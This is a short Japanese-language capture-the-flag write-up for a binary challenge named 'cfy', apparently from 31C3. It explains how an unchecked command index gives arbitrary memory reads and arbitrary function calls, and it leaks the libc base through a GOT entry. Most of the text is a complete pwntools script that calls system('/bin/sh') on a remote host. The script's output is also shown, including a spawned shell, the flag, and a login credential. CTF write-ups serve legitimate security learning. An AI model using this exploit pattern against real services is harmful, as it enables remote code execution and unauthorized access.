= cfy = * 任意のアドレスの値を知ることが出来る。ただし遅い。 * 任意のアドレスをcallすることが出来る。 * コマンド番号の範囲チェックをやっていないので,バッファ上に実行したい関数のアドレスを配置して,実行するコマンド番号が配置したアドレスを指すように調整する。 * callされるときに第一引数にはバッファのアドレスが入っている。 * もしsystemのアドレスを知っていれば,バッファに`/bin/sh`を入れてsystemを呼ぶだけ。 * libcの領域を適当に覗きながらrodataに書かれているバージョンを特定{{{ GNU C Library (Ubuntu GLIBC 2.19-10ubuntu2.1) stable release }}} {{{#!highlight python from pwn import * context(arch = "amd64", os = "linux") SYSTEM_REL = 0x44b30 BUF = 0x6010e0 PARSERS = 0x601080 #conn = process("./cfy") conn = remote("188.40.18.73", 3313) conn.recvuntil("quit\n") def peek_addr(addr): conn.send("2\n") conn.recvuntil("number: ") conn.send(p64(addr) + "\n") conn.recvuntil("hex: 0x") result = int(conn.recvline()[:-1], 16) conn.recvuntil("quit\n") return result libc_base = peek_addr(0x601018) - 0x70940 system_addr = libc_base + SYSTEM_REL s = "/bin/sh" s += "\0" * (0x10 - len(s)) s += p64(system_addr) conn.send(str((BUF + 0x10 - PARSERS)/16) + "\n") conn.recvuntil("number: ") conn.send(s + "\n") conn.interactive() }}} {{{ % python exploit.py [+] Opening connection to 188.40.18.73 on port 3313: OK [*] Switching to interactive mode $ cat /home/cfy/flag THANK YOU WARIO! BUT OUR PRINCESS IS IN ANOTHER CASTLE! Login: cfy_pwn // 31C3_G0nna_keepgrynding }}}